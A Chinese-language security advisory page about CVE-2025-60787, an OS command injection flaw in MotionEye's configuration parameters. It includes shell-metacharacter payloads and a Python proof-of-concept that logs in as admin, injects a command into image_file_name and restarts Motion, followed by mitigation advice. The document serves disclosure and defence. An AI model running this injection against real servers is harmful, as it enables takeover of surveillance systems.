IPBUF安全漏洞报告
English
CVE-2025-60787 CVSS 7.2 高危

CVE-2025-60787:MotionEye配置参数OS命令注入漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60787
漏洞类型
OS命令注入(远程代码执行)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
MotionEye

相关标签

命令注入OS命令注入远程代码执行RCEMotionEyeMotion视频监控配置注入高危漏洞CVE-2025-60787

漏洞概述

CVE-2025-60787是存在于MotionEye v0.43.1b4及之前版本中的一个高危操作系统命令注入漏洞。MotionEye是一款基于Web界面的视频监控管理软件,作为Motion视频监控软件的前端管理工具,广泛应用于家庭安防、物联网摄像头管理和小型企业监控系统中。该漏洞的CVSS 3.1评分为7.2分,属于高危级别,其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)即管理员认证才能利用。

该漏洞的核心问题在于MotionEye的Web管理界面在处理用户输入的配置参数(如image_file_name图像文件名参数)时,未对用户输入进行充分的过滤和转义处理。攻击者可以通过精心构造的恶意输入,将任意操作系统命令注入到Motion的配置文件中。由于MotionEye会将这些配置参数直接写入Motion守护进程的配置文件,当Motion服务重启时,注入的命令将以Motion进程的权限被执行,从而实现远程代码执行(RCE)。

该漏洞的危害性主要体现在以下几个方面:首先,成功利用该漏洞的攻击者可以在目标服务器上执行任意操作系统命令,完全控制受影响的系统;其次,由于MotionEye通常部署在持续运行的监控服务器上,攻击者可以在系统上植入持久化后门;最后,监控服务器通常具有较高的网络访问权限,被攻陷后可能成为内网渗透的跳板,对整个网络环境构成严重威胁。

技术细节

MotionEye漏洞的技术原理源于配置参数处理过程中缺乏对用户输入的验证和过滤。具体而言,当管理员通过MotionEye的Web界面修改配置参数(如图像文件名image_file_name、视频文件名video_file_name或其他配置项)时,前端会将用户输入直接传递给后端处理逻辑。后端在将配置写入Motion的配置文件(通常是motion.conf)时,未对特殊字符(如反引号`、分号;、管道符|、$()等Shell元字符)进行转义或过滤。

利用方式如下:
1. 攻击者首先需要获取MotionEye的管理员账号凭据(通过暴力破解、社会工程或其他方式);
2. 以管理员身份登录MotionEye Web管理界面;
3. 导航到配置页面,在image_file_name或其他配置参数中注入恶意命令,例如:`image_file_name; touch /tmp/pwned #` 或 `image_file_name$(whoami)`;
4. 提交配置后,恶意输入被写入Motion的配置文件;
5. 当Motion服务重启(手动重启或因配置变更自动重启)时,Motion进程在解析配置文件时执行注入的命令;
6. 注入的命令以Motion进程的权限执行,攻击者获得远程代码执行能力。

该漏洞的利用条件需要管理员认证(PR:H),这在一定程度上限制了攻击范围,但并不能降低漏洞的危害性,因为一旦攻击者获得管理员权限,即可完全控制监控系统并执行任意操作。

攻击链分析

STEP 1
步骤1:获取管理员凭据
攻击者通过暴力破解、默认凭据利用、社会工程学或先前获取的访问权限等方式,获得MotionEye Web管理界面的管理员账号和密码。
STEP 2
步骤2:登录管理界面
使用获取的管理员凭据登录MotionEye的Web管理界面,获取对系统配置的完全控制权限。
STEP 3
步骤3:注入恶意命令
在配置页面(如摄像头配置)中,向image_file_name或其他配置参数注入包含Shell元字符的恶意负载,例如使用分号、反引号或$()语法嵌入操作系统命令。
STEP 4
步骤4:写入恶意配置
提交配置修改后,MotionEye将未经过滤的用户输入直接写入Motion的配置文件(如motion.conf),恶意命令被持久化存储。
STEP 5
步骤5:触发Motion重启
通过管理界面或手动方式重启Motion服务,使Motion进程重新加载配置文件并解析其中包含的恶意负载。
STEP 6
步骤6:执行任意命令
Motion进程在解析配置文件时执行注入的操作系统命令,攻击者以Motion进程权限获得远程代码执行能力,可植入后门、窃取数据或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60787 PoC - MotionEye OS Command Injection # Reference: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter import requests import sys TARGET_URL = "http://target-motioneye:8765" USERNAME = "admin" PASSWORD = "password" # Malicious payload for image_file_name parameter # The semicolon terminates the legitimate command and executes our injected command MALICIOUS_PAYLOAD = "normal_file_name; touch /tmp/pwned_by_cve_2025_60787; #" def exploit(): session = requests.Session() # Step 1: Login as administrator login_url = f"{TARGET_URL}/login/" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data) if "Login failed" in resp.text or resp.status_code != 200: print("[!] Login failed. Check credentials.") sys.exit(1) print("[*] Login successful") # Step 2: Navigate to camera configuration page config_url = f"{TARGET_URL}/config/1/" # Camera ID 1 # Step 3: Inject malicious command in image_file_name parameter config_data = { "image_file_name": MALICIOUS_PAYLOAD, "video_file_name": "%Y%m%d-%H%M%S", # Other configuration parameters... } resp = session.post(config_url, data=config_data) print("[*] Configuration updated with malicious payload") # Step 4: Trigger Motion restart to execute injected command restart_url = f"{TARGET_URL}/restart/" session.post(restart_url) print("[*] Motion service restart triggered") print("[*] Payload should now be executed on the target system") if __name__ == "__main__": exploit()

影响范围

MotionEye <= v0.43.1b4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制MotionEye管理界面的网络访问,仅允许可信IP地址通过防火墙或ACL访问;2)使用强密码策略保护管理员账号,并定期更换密码;3)监控MotionEye配置文件的变更,及时发现可疑修改;4)在Motion配置文件中手动检查image_file_name等参数是否存在异常字符;5)考虑将MotionEye部署在隔离的网络环境中,降低被攻击的风险;6)定期重启前手动审查配置文件内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表